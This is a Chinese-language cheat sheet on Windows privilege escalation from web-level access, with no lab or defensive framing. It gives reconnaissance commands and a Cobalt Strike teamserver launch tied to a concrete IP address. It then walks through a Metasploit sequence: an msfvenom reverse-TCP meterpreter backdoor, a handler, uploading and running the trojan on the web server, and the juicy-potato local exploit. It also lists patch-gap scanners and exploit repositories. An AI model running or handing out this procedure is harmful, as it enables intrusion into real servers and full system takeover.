web权限下提权
权限提升得关键因素:
1、 符合的操作系统
2、 符合的溢出漏洞
常见步骤:
1. 信息收集(操作系统、漏洞补丁、位数、杀软防护、网络、当前权限)
ver
systeminfo
whoami
netstat -ano
tasklist /svc 查看进程,时候有杀软
如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用执行
2. 基于补丁和系统版本来进行筛选可用溢出漏洞EXP
(1) CS
安装JAVA环境,将CS文件包导入Linux,解压之后,chmod +x teamserver ip 密码
sudo ./teamserver 43.143.231.203 test
启动监听器,生成exe,上线
加载插件(巨龙拉) ladon BadPotato (梼杌) 权限提升-juicypotato
(2)MSF
1.启动msf msfconsole
2.生成msf反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=3333 -f exe -o msf.exe
3.use exploit/multi/handler
4.set payload windows/meterpreter/reverse_tcp
5.set lhost 0.0.0.0 //默认所有ip信息都接收
6.set lport 监听端口号
8.将木马上传至web服务器,执行
9.background 退出当前对话,对话不关闭(可以开启新msf的对话框)
10.use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁)
11.set session 1
13.use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞)
14.set session 1
15.set showdescription true
17.use exploit/windows/local/ms16_075_reflection_juicy
18.set session 1
19.exploit
(3) 手工
寻找存在的cve漏洞
https://github.com/vulmon/Vulmap
1.将vulmap-windows.ps1上传到web服务器,运行即可
https://github.com/bitsadmin/wesng
1.将服务器systeminfo信息存入1.txt
2.python wes.py 1.txt -o vulns.csv
3.查看vulns.csv
https://github.com/chroblert/WindowsVulnScan
1. 将KBCollect.ps1上传到web服务器
2. powershell运行生成json文件,修改json文件的编码格式UTF-8
3. python cve-check.py -C -f KB.json
网站平台寻找cve
https://i.hacking8.com/tiquan
(4)根据CVE寻找EXP
https://github.com/k8gege/Ladon
https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/offensive-security/exploitdb
http://cve.mitre.org/data/refs/refmap/source-MS.html
说明:通过对应补丁漏洞编号寻可利用EXP
MS&CVE 关系区别&对应反查
KernelHub 针对常用溢出编号指定找EXP
Poc-in-Github 针对年份及编号指定找EXP
exploitdb 针对类型及关键说明指定找EXP